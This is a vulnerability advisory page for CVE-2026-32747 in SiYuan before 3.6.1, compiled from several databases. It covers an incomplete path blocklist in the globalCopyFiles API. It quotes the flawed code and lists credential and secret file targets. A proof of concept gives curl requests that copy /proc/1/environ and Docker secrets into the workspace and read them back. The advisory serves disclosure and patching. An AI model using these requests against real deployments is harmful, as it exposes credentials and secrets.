6.8medium
SiYuan: Incomplete sensitive path blocklist in globalCopyFiles allows reading /proc and Docker secrets
- Severity
- 6.8medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.60% (higher than 43% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-h5vh-m7fg-w5h6GO-2026-4705
Description
SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| siyuan-note siyuan | < 3.6.1 | CVE List |
| github.com/siyuan-note/siyuan/kernel (Go) | up to 0.0.0-20260313024916-fd6526133bb3, all versions | GitHub Advisory Database, Go Vulnerability Database |
| b3log siyuan | before 3.6.1 | NVD |
All scores
| GitHub_M | 6.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N |
| GitHub | 6.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N |
| NVD | 4.9medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
Classification
What each source says
CVE List
SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.
GitHub Advisory Database
Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
Details
File: kernel/api/file.go - function globalCopyFiles
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
if util.IsSensitivePath(absSrc) {
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
IsSensitivePath blocklist (kernel/util/path.go):
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
Not blocked - exploitable targets:
| Path | Contains |
|---|---|
| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
| /run/secrets/* | Docker Swarm / Compose injected secrets |
| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |
| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
| /tmp/ | Temporary files including tokens |
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
Docker secrets:
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
Go Vulnerability Database
SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel
NVD (es)
SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, la API globalCopyFiles lee archivos fuente utilizando filepath.Abs() sin una verificación de límites del espacio de trabajo, confiando únicamente en util.IsSensitivePath() cuya lista de bloqueo omite /proc/, /run/secrets/ y los archivos ocultos del directorio de inicio. Un administrador puede copiar /proc/1/environ o secretos de Docker en el espacio de trabajo y leerlos a través de la API de archivos estándar. Un administrador puede exfiltrar cualquier archivo legible por el proceso de SiYuan que quede fuera de la lista de bloqueo incompleta. En implementaciones en contenedores, esto incluye todos los secretos inyectados y las variables de entorno, un patrón común para pasar credenciales a los contenedores. Los archivos exfiltrados son entonces accesibles a través de la API de archivos estándar del espacio de trabajo y persisten hasta que se eliminan manualmente. Este problema ha sido solucionado en la versión 3.6.1.
References
| https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6 | advisory, exploit, vendor-advisory, web | |
| https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1 | patch, web | |
| https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32747 | advisory | |
| https://github.com/siyuan-note/siyuan | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-32747 changed 2026-03-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-h5vh-m7fg-w5h6 changed 2026-03-30 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4705 changed 2026-03-26 | CC-BY-4.0 |
| NVD | CVE-2026-32747 changed 2026-06-17 | Public domain |